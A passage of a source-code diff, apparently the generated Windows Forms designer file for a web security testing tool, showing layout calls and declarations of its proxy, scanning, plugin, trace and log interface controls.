this.tabPage2.ResumeLayout(false); + this.JsTraceResultsBaseSplit.Panel1.ResumeLayout(false); + this.JsTraceResultsBaseSplit.Panel2.ResumeLayout(false); + this.JsTraceResultsBaseSplit.ResumeLayout(false); + this.JsTraceResultsTabs.ResumeLayout(false); + this.JsTraceResultsObservationsTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.JsTraceResultsObservationsGrid)).EndInit(); + this.JsTraceResultsNativeMethodsTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.JsTraceResultsMethodCallsGrid)).EndInit(); + this.JsTraceResultsDomChangesTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.JsTraceResultsDomChangesGrid)).EndInit(); + this.JsTraceResultsAjaxCallsTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.JsTraceResultsAjaxCallsGrid)).EndInit(); + this.tabPage4.ResumeLayout(false); + this.tabPage4.PerformLayout(); + this.groupBox7.ResumeLayout(false); + this.groupBox7.PerformLayout(); + this.groupBox6.ResumeLayout(false); + this.groupBox6.PerformLayout(); + this.groupBox5.ResumeLayout(false); + this.groupBox5.PerformLayout(); + this.mt_dev.ResumeLayout(false); + this.DevMainTabs.ResumeLayout(false); + this.DevModulesAndPluginsTab.ResumeLayout(false); + this.PluginsMainSplit.Panel1.ResumeLayout(false); + this.PluginsMainSplit.Panel2.ResumeLayout(false); + this.PluginsMainSplit.ResumeLayout(false); + this.PluginTreeMenu.ResumeLayout(false); + this.PluginEditorSplit.Panel1.ResumeLayout(false); + this.PluginEditorSplit.Panel2.ResumeLayout(false); + this.PluginEditorSplit.ResumeLayout(false); + this.PluginsCentreSplit.Panel1.ResumeLayout(false); + this.PluginsCentreSplit.Panel2.ResumeLayout(false); + this.PluginsCentreSplit.ResumeLayout(false); + this.PluginEditorAPISplit.Panel1.ResumeLayout(false); + this.PluginEditorAPISplit.Panel2.ResumeLayout(false); + this.PluginEditorAPISplit.ResumeLayout(false); + this.PluginEditorAPITreeTabs.ResumeLayout(false); + this.PluginEditorPythonAPITreeTab.ResumeLayout(false); + this.PluginEditorRubyAPITreeTab.ResumeLayout(false); + this.DevTraceTab.ResumeLayout(false); + this.TraceMainTabs.ResumeLayout(false); + this.SessionPluginTraceTab.ResumeLayout(false); + this.SessionPluginTraceBaseSplit.Panel1.ResumeLayout(false); + this.SessionPluginTraceBaseSplit.Panel2.ResumeLayout(false); + this.SessionPluginTraceBaseSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.SessionPluginTraceGrid)).EndInit(); + this.SessionPluginTraceBottomTabs.ResumeLayout(false); + this.SessionPluginTraceMessageTab.ResumeLayout(false); + this.SessionPluginTraceMsgBaseSplit.Panel1.ResumeLayout(false); + this.SessionPluginTraceMsgBaseSplit.Panel1.PerformLayout(); + this.SessionPluginTraceMsgBaseSplit.Panel2.ResumeLayout(false); + this.SessionPluginTraceMsgBaseSplit.ResumeLayout(false); + this.SessionPluginTraceLogViewTab.ResumeLayout(false); + this.SessionPluginTraceSessionTabs.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.tabPage3.ResumeLayout(false); + this.DebugTraceTab.ResumeLayout(false); + this.TraceBaseSplit.Panel1.ResumeLayout(false); + this.TraceBaseSplit.Panel2.ResumeLayout(false); + this.TraceBaseSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.TraceGrid)).EndInit(); + this.DevHelpTab.ResumeLayout(false); + this.DevHelpTab.PerformLayout(); + this.JSTainTraceEditMenu.ResumeLayout(false); + this.MTRequestFormatPluginsMenu.ResumeLayout(false); + this.ProxyResponseFormatPluginsMenu.ResumeLayout(false); + this.ProxyRequestFormatPluginsMenu.ResumeLayout(false); + this.ConfigPanel.ResumeLayout(false); + this.ConfigPanelTabs.ResumeLayout(false); + this.ConfigInterceptRulesTab.ResumeLayout(false); + this.ConfigInterceptRulesTab.PerformLayout(); + this.ConfigRuleKeywordInResponseGB.ResumeLayout(false); + this.ConfigRuleKeywordInResponseGB.PerformLayout(); + this.ConfigRuleKeywordInRequestGB.ResumeLayout(false); + this.ConfigRuleKeywordInRequestGB.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.ConfigDisplayRulesTab.ResumeLayout(false); + this.ConfigDisplayRulesTab.PerformLayout(); + this.groupBox3.ResumeLayout(false); + this.groupBox3.PerformLayout(); + this.groupBox4.ResumeLayout(false); + this.groupBox4.PerformLayout(); + this.ConfigScriptingTab.ResumeLayout(false); + this.ConfigScriptBaseSplit.Panel1.ResumeLayout(false); + this.ConfigScriptBaseSplit.Panel1.PerformLayout(); + this.ConfigScriptBaseSplit.Panel2.ResumeLayout(false); + this.ConfigScriptBaseSplit.Panel2.PerformLayout(); + this.ConfigScriptBaseSplit.ResumeLayout(false); + this.ConfigScriptPathSplit.Panel1.ResumeLayout(false); + this.ConfigScriptPathSplit.Panel1.PerformLayout(); + this.ConfigScriptPathSplit.Panel2.ResumeLayout(false); + this.ConfigScriptPathSplit.Panel2.PerformLayout(); + this.ConfigScriptPathSplit.ResumeLayout(false); + this.ConfigScriptCommandSplit.Panel1.ResumeLayout(false); + this.ConfigScriptCommandSplit.Panel1.PerformLayout(); + this.ConfigScriptCommandSplit.Panel2.ResumeLayout(false); + this.ConfigScriptCommandSplit.Panel2.PerformLayout(); + this.ConfigScriptCommandSplit.ResumeLayout(false); + this.ConfigHTTPAPITab.ResumeLayout(false); + this.ConfigHTTPAPIBaseSplit.Panel1.ResumeLayout(false); + this.ConfigHTTPAPIBaseSplit.Panel1.PerformLayout(); + this.ConfigHTTPAPIBaseSplit.Panel2.ResumeLayout(false); + this.ConfigHTTPAPIBaseSplit.Panel2.PerformLayout(); + this.ConfigHTTPAPIBaseSplit.ResumeLayout(false); + this.ConfigTaintConfigTab.ResumeLayout(false); + this.ConfigTaintConfigTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ConfigDefaultJSTaintConfigGrid)).EndInit(); + this.ConfigPassiveAnalysisTab.ResumeLayout(false); + this.ConfigPassiveAnalysisTab.PerformLayout(); + this.TopMenu.ResumeLayout(false); + this.TopMenu.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.SplitContainer split_main; + private System.Windows.Forms.MenuStrip TopMenu; + private System.Windows.Forms.ToolStripMenuItem projectToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem OpenProjectToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem toolsToolStripMenuItem; + private System.Windows.Forms.TabPage mt_proxy; + private System.Windows.Forms.TabPage mt_manual; + private System.Windows.Forms.TabPage mt_auto; + private System.Windows.Forms.TabPage ProxyInterceptRequestTab; + private System.Windows.Forms.TabPage ProxyInterceptResponseTab; + private System.Windows.Forms.CheckBox InterceptResponseCB; + private System.Windows.Forms.CheckBox InterceptRequestCB; + private System.Windows.Forms.SplitContainer MTBaseSplit; + private System.Windows.Forms.ContextMenuStrip LogMenu; + private System.Windows.Forms.ToolStripMenuItem SelectForManualTestingToolStripMenuItem; + internal System.Windows.Forms.DataGridView ProxyLogGrid; + internal System.Windows.Forms.DataGridView TestLogGrid; + internal System.Windows.Forms.Button MTSendBtn; + internal System.Windows.Forms.Label TestIDLbl; + public System.Windows.Forms.TreeView IronTree; + internal System.Windows.Forms.DataGridView ShellLogGrid; + internal System.Windows.Forms.TabControl ProxyInterceptTabs; + private System.Windows.Forms.TabPage ASConfigureTab; + internal System.Windows.Forms.DataGridView ScanLogGrid; + internal System.Windows.Forms.Button MTScriptedSendBtn; + internal System.Windows.Forms.Button MTStoredRequestBtn; + private System.Windows.Forms.TabPage ASRequestURLTab; + private System.Windows.Forms.TabPage ASRequestQueryTab; + private System.Windows.Forms.TabPage ASRequestBodyTab; + private System.Windows.Forms.TabPage ASRequestCookieTab; + private System.Windows.Forms.TabPage ASRequestHeadersTab; + private System.Windows.Forms.SplitContainer ASRequestBodyTabSplit; + private System.Windows.Forms.Label ASInjectHeaderLbl; + private System.Windows.Forms.ToolStripMenuItem SelectForAutomatedScanningToolStripMenuItem; + private System.Windows.Forms.DataGridViewTextBoxColumn ASQueueGridScanID; + private System.Windows.Forms.DataGridViewTextBoxColumn ASQueueGridStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn ASQueueGridMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn ASQueueGridURL; + internal System.Windows.Forms.DataGridView ASQueueGrid; + private System.Windows.Forms.TabPage ASRequestScanBodyGridTab; + private System.Windows.Forms.TabPage ASRequestScanBodyXMLTab; + private System.Windows.Forms.TabPage mt_results; + internal System.Windows.Forms.TabControl ResultsDisplayTabs; + private System.Windows.Forms.TabPage ResultsRequestTab; + private System.Windows.Forms.TabPage ResultsResponseTab; + private System.Windows.Forms.SplitContainer ResultsTriggersMainSplit; + internal System.Windows.Forms.RichTextBox ResultsDisplayRTB; + internal System.Windows.Forms.DataGridView ResultsTriggersGrid; + internal System.Windows.Forms.TabControl main_tab; + private System.Windows.Forms.DataGridViewTextBoxColumn ResultsTriggerGridNumberColumn; + private System.Windows.Forms.Panel ConfigPanel; + private System.Windows.Forms.TabControl ConfigPanelTabs; + private System.Windows.Forms.Label label7; + internal System.Windows.Forms.CheckBox ConfigSetAsSystemProxyCB; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.LinkLabel ConfigRuleApplyChangesLL; + private System.Windows.Forms.LinkLabel ConfigRuleCancelChangesLL; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.GroupBox groupBox2; + internal System.Windows.Forms.CheckBox ConfigRuleOtherMethodsCB; + internal System.Windows.Forms.CheckBox ConfigRulePOSTMethodCB; + internal System.Windows.Forms.CheckBox ConfigRuleGETMethodCB; + internal System.Windows.Forms.CheckBox ConfigRuleContentHTMLCB; + internal System.Windows.Forms.CheckBox ConfigRuleContentOtherBinaryCB; + internal System.Windows.Forms.CheckBox ConfigRuleContentImgCB; + internal System.Windows.Forms.CheckBox ConfigRuleContentJSCB; + internal System.Windows.Forms.CheckBox ConfigRuleContentCSSCB; + internal System.Windows.Forms.CheckBox ConfigRuleContentXMLCB; + internal System.Windows.Forms.CheckBox ConfigRuleContentOtherTextCB; + internal System.Windows.Forms.CheckBox ConfigRuleCode500CB; + internal System.Windows.Forms.CheckBox ConfigRuleCode4xxCB; + internal System.Windows.Forms.CheckBox ConfigRuleCode403CB; + internal System.Windows.Forms.CheckBox ConfigRuleCode3xxCB; + internal System.Windows.Forms.CheckBox ConfigRuleCode301_2CB; + internal System.Windows.Forms.CheckBox ConfigRuleCode2xxCB; + internal System.Windows.Forms.CheckBox ConfigRuleCode200CB; + internal System.Windows.Forms.CheckBox ConfigRuleCode5xxCB; + internal System.Windows.Forms.TextBox ConfigRuleFileExtensionsMinusTB; + internal System.Windows.Forms.TextBox ConfigRuleFileExtensionsPlusTB; + internal System.Windows.Forms.RadioButton ConfigRuleFileExtensionsMinusRB; + internal System.Windows.Forms.RadioButton ConfigRuleFileExtensionsPlusRB; + internal System.Windows.Forms.CheckBox ConfigRuleFileExtensionsCB; + internal System.Windows.Forms.CheckBox ConfigRuleKeywordInRequestCB; + internal System.Windows.Forms.TextBox ConfigRuleKeywordInRequestPlusTB; + internal System.Windows.Forms.TextBox ConfigRuleKeywordInRequestMinusTB; + internal System.Windows.Forms.RadioButton ConfigRuleKeywordInRequestPlusRB; + internal System.Windows.Forms.RadioButton ConfigRuleKeywordInRequestMinusRB; + internal System.Windows.Forms.CheckBox ConfigRuleHostNamesCB; + internal System.Windows.Forms.TextBox ConfigRuleHostNamesPlusTB; + internal System.Windows.Forms.TextBox ConfigRuleHostNamesMinusTB; + internal System.Windows.Forms.RadioButton ConfigRuleHostNamesPlusRB; + internal System.Windows.Forms.RadioButton ConfigRuleHostNamesMinusRB; + internal System.Windows.Forms.CheckBox ConfigRuleKeywordInResponseCB; + internal System.Windows.Forms.TextBox ConfigRuleKeywordInResponsePlusTB; + internal System.Windows.Forms.TextBox ConfigRuleKeywordInResponseMinusTB; + internal System.Windows.Forms.RadioButton ConfigRuleKeywordInResponsePlusRB; + internal System.Windows.Forms.RadioButton ConfigRuleKeywordInResponseMinusRB; + private System.Windows.Forms.ToolStripMenuItem EncodeDecodeToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem DiffTextToolStripMenuItem; + internal System.Windows.Forms.OpenFileDialog ProjectFileOpenDialog; + internal System.Windows.Forms.GroupBox ConfigRuleKeywordInRequestGB; + internal System.Windows.Forms.GroupBox ConfigRuleKeywordInResponseGB; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForID; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForHostName; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForURL; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForFile; + private System.Windows.Forms.DataGridViewCheckBoxColumn ProxyLogGridColumnForSSL; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForParameters; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForCode; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForLength; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn ProxyLogGridColumnForSetCookie; + private System.Windows.Forms.DataGridViewCheckBoxColumn ProxyLogGridColumnForEdited; + private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForNotes; + private System.Windows.Forms.ToolStripMenuItem AboutToolStripMenuItem; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForID; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForScanID; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForHost; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForURL; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForFile; + private System.Windows.Forms.DataGridViewCheckBoxColumn ScanLogGridColumnForSSL; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForParameters; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForCode; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForLength; + private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn ScanLogGridColumnForSetCookie; + internal System.Windows.Forms.CheckBox ProxyShowOriginalResponseCB; + internal System.Windows.Forms.CheckBox ProxyShowOriginalRequestCB; + internal System.Windows.Forms.DataGridView ASRequestScanURLGrid; + internal System.Windows.Forms.TabControl ASRequestTabs; + internal System.Windows.Forms.DataGridView ASRequestScanQueryGrid; + internal System.Windows.Forms.DataGridView ConfigureScanRequestFormatPluginsGrid; + internal System.Windows.Forms.DataGridView ConfigureScanRequestBodyTypeFormatPluginGrid; + internal System.Windows.Forms.TabControl ASRequestScanBodyTabs; + internal System.Windows.Forms.TextBox ConfigureScanRequestFormatXMLTB; + internal System.Windows.Forms.DataGridView ASRequestScanCookieGrid; + internal System.Windows.Forms.DataGridView ASRequestScanHeadersGrid; + internal System.Windows.Forms.DataGridView ASScanPluginsGrid; + internal System.Windows.Forms.CheckBox ASRequestScanAllCB; + internal System.Windows.Forms.CheckBox ASRequestScanURLCB; + internal System.Windows.Forms.CheckBox ASRequestScanQueryCB; + internal System.Windows.Forms.CheckBox ASRequestScanBodyCB; + internal System.Windows.Forms.CheckBox ASRequestScanCookieCB; + internal System.Windows.Forms.CheckBox ASRequestScanHeadersCB; + internal IronDataView.IronDataView ASRequestRawHeadersIDV; + internal IronDataView.IronDataView ASRequestRawBodyIDV; + private System.Windows.Forms.TabPage tabPage20; + private System.Windows.Forms.TabPage tabPage21; + internal System.Windows.Forms.TabControl ASRequestScanFullTabs; + internal System.Windows.Forms.CheckBox ConfigRuleContentJSONCB; + private System.Windows.Forms.ContextMenuStrip PluginTreeMenu; + private System.Windows.Forms.ToolStripMenuItem allPluginsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem AllPluginsRAToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem AllPluginsANToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem passivePluginsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem PassivePluginsRAToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem PassivePluginsANToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem activePluginsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem ActivePluginsRAToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem ActivePluginsANToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem formatPluginsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem FormatPluginsRAToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem FormatPluginsANToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem sessionPluginsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem SessionPluginsRAToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem SessionPluginsANToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem SelectedPluginReloadToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem SelectedPluginDeactivateToolStripMenuItem; + internal System.Windows.Forms.TextBox MTExceptionTB; + internal System.Windows.Forms.TextBox ASExceptionTB; + internal System.Windows.Forms.TextBox ProxyExceptionTB; + private System.Windows.Forms.ContextMenuStrip MTRequestFormatPluginsMenu; + private System.Windows.Forms.ToolStripMenuItem MTRequestSerXmlToObjectMenuItem; + private System.Windows.Forms.ToolStripMenuItem MTRequestDeSerObjectToXmlMenuItem; + private System.Windows.Forms.ContextMenuStrip ProxyRequestFormatPluginsMenu; + private System.Windows.Forms.ToolStripMenuItem ProxyRequestSerXmlToObjectMenuItem; + private System.Windows.Forms.ToolStripMenuItem ProxyRequestDeSerObjectToXmlMenuItem; + private System.Windows.Forms.ContextMenuStrip ProxyResponseFormatPluginsMenu; + private System.Windows.Forms.ToolStripMenuItem ProxyResponseSerXmlToObjectMenuItem; + private System.Windows.Forms.ToolStripMenuItem ProxyResponseDeSerObjectToXmlMenuItem; + private System.Windows.Forms.TabPage ConfigScriptingTab; + private System.Windows.Forms.SplitContainer ConfigScriptBaseSplit; + private System.Windows.Forms.SplitContainer ConfigScriptPathSplit; + private System.Windows.Forms.SplitContainer ConfigScriptCommandSplit; + private System.Windows.Forms.LinkLabel ConfigScriptPathApplyChangesLL; + private System.Windows.Forms.LinkLabel ConfigScriptPathCancelChangesLL; + private System.Windows.Forms.LinkLabel ConfigScriptCommandApplyChangesLL; + private System.Windows.Forms.LinkLabel ConfigScriptCommandCancelChangesLL; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.Label label14; + internal System.Windows.Forms.TextBox ConfigScriptPyPathsTB; + internal System.Windows.Forms.TextBox ConfigScriptRbPathsTB; + internal System.Windows.Forms.TextBox ConfigScriptPyCommandsTB; + internal System.Windows.Forms.TextBox ConfigScriptRbCommandsTB; + private System.Windows.Forms.TabPage ConfigHTTPAPITab; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.Label label16; + private System.Windows.Forms.Label label17; + private System.Windows.Forms.Label label18; + private System.Windows.Forms.SplitContainer ConfigHTTPAPIBaseSplit; + private System.Windows.Forms.Label label22; + private System.Windows.Forms.LinkLabel ConfigResponseTypesApplyChangesLL; + private System.Windows.Forms.LinkLabel ConfigResponseTypesCancelChangesLL; + internal System.Windows.Forms.TextBox ConfigResponseTypesTB; + internal System.Windows.Forms.TextBox ConfigRequestTypesTB; + private System.Windows.Forms.Label label19; + private System.Windows.Forms.LinkLabel ConfigRequestTypesCancelChangesLL; + private System.Windows.Forms.LinkLabel ConfigRequestTypesApplyChangesLL; + private System.Windows.Forms.TabPage ConfigInterceptRulesTab; + private System.Windows.Forms.TabPage ConfigDisplayRulesTab; + private System.Windows.Forms.LinkLabel ConfigDisplayRuleApplyChangesLL; + private System.Windows.Forms.LinkLabel ConfigDisplayRuleCancelChangesLL; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentJSONCB; + private System.Windows.Forms.GroupBox groupBox3; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleHostNamesCB; + internal System.Windows.Forms.TextBox ConfigDisplayRuleHostNamesPlusTB; + internal System.Windows.Forms.TextBox ConfigDisplayRuleHostNamesMinusTB; + internal System.Windows.Forms.RadioButton ConfigDisplayRuleHostNamesPlusRB; + internal System.Windows.Forms.RadioButton ConfigDisplayRuleHostNamesMinusRB; + private System.Windows.Forms.GroupBox groupBox4; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleFileExtensionsCB; + internal System.Windows.Forms.TextBox ConfigDisplayRuleFileExtensionsPlusTB; + internal System.Windows.Forms.TextBox ConfigDisplayRuleFileExtensionsMinusTB; + internal System.Windows.Forms.RadioButton ConfigDisplayRuleFileExtensionsPlusRB; + internal System.Windows.Forms.RadioButton ConfigDisplayRuleFileExtensionsMinusRB; + private System.Windows.Forms.Label label20; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentCSSCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode5xxCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentJSCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode500CB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentImgCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode4xxCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentOtherBinaryCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode403CB; + private System.Windows.Forms.Label label21; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode3xxCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentHTMLCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode301_2CB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleGETMethodCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode2xxCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRulePOSTMethodCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode200CB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleOtherMethodsCB; + private System.Windows.Forms.Label label23; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentOtherTextCB; + internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentXMLCB; + internal System.Windows.Forms.DataGridView SiteMapLogGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForID; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForSource; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForHost; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForURL; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForFile; + private System.Windows.Forms.DataGridViewCheckBoxColumn SiteMapLogGridColumnForSSL; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForParameters; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForCode; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForLength; + private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn SiteMapLogGridColumnForSetCookie; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForID; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForHostName; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForURL; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForFile; + private System.Windows.Forms.DataGridViewCheckBoxColumn ScriptingLogGridColumnForSSL; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForParameters; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForCode; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForLength; + private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn ScriptingLogGridColumnForSetCookie; + internal System.Windows.Forms.SplitContainer ResultsTabMainSplit; + private System.Windows.Forms.ContextMenuStrip IronTreeMenuStrip; + private System.Windows.Forms.ToolStripMenuItem ScanBranchToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem CopyRequestToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem CopyResponseToolStripMenuItem; + private System.Windows.Forms.Label label24; + private System.Windows.Forms.Label label25; + internal System.Windows.Forms.CheckBox ConfigRuleRequestOnResponseRulesCB; + private System.Windows.Forms.Label label26; + private System.Windows.Forms.Label label27; + private System.Windows.Forms.ToolStripMenuItem importToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem ImportBurpLogToolStripMenuItem; + private System.Windows.Forms.OpenFileDialog BurpLogOpenDialog; + private System.Windows.Forms.ContextMenuStrip ScanQueueMenu; + private System.Windows.Forms.ToolStripMenuItem StopAllScansToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem StartAllStoppedAndAbortedScansToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem StopThisScanJobToolStripMenuItem; + private System.Windows.Forms.TabPage ASTraceTab; + private System.Windows.Forms.SplitContainer ScanTraceBaseSplit; + internal System.Windows.Forms.DataGridView ScanTraceGrid; + internal System.Windows.Forms.RichTextBox ScanTraceMsgRTB; + internal System.Windows.Forms.TabControl ASMainTabs; + private System.Windows.Forms.TabPage mt_console; + private System.Windows.Forms.Label label29; + private System.Windows.Forms.RichTextBox richTextBox2; + internal System.Windows.Forms.DataGridView ProbeLogGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForID; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForHostName; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForURL; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForFile; + private System.Windows.Forms.DataGridViewCheckBoxColumn ProbeLogGridColumnForSSL; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForParameters; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForCode; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForLength; + private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn ProbeLogGridColumnForSetCookie; + private System.Windows.Forms.TabPage mt_logs; + internal System.Windows.Forms.TabControl LogDisplayTabs; + private System.Windows.Forms.TabPage tabPage7; + private System.Windows.Forms.TabPage tabPage29; + private System.Windows.Forms.TabPage ScanLogTab; + private System.Windows.Forms.TabPage TestLogTab; + private System.Windows.Forms.TabPage ShellLogTab; + private System.Windows.Forms.TabPage ProxyLogTab; + private System.Windows.Forms.TabPage ProbeLogTab; + private System.Windows.Forms.TabPage SiteMapLogTab; + private System.Windows.Forms.Button NextLogBtn; + private System.Windows.Forms.Button PreviousLogBtn; + internal System.Windows.Forms.TextBox LogStatusTB; + private System.Windows.Forms.Button NextTestLog; + private System.Windows.Forms.Button PreviousTestLog; + internal System.Windows.Forms.DataGridView TestGroupLogGrid; + internal System.Windows.Forms.SplitContainer LogBaseSplit; + internal System.Windows.Forms.Button ShowLogGridBtn; + internal System.Windows.Forms.Label LogIDLbl; + internal System.Windows.Forms.Label LogSourceLbl; + internal System.Windows.Forms.TabControl LogTabs; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForID; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForHostName; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForURL; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForFile; + private System.Windows.Forms.DataGridViewCheckBoxColumn MTLogGridColumnForSSL; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForParameters; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForCode; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForLength; + private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn MTLogGridColumnForSetCookie; + internal System.Windows.Forms.Label ScanIDLbl; + internal System.Windows.Forms.Label ScanStatusLbl; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestURLSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestURLPositionColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestURLValueColumn; + private System.Windows.Forms.DataGridViewCheckBoxColumn 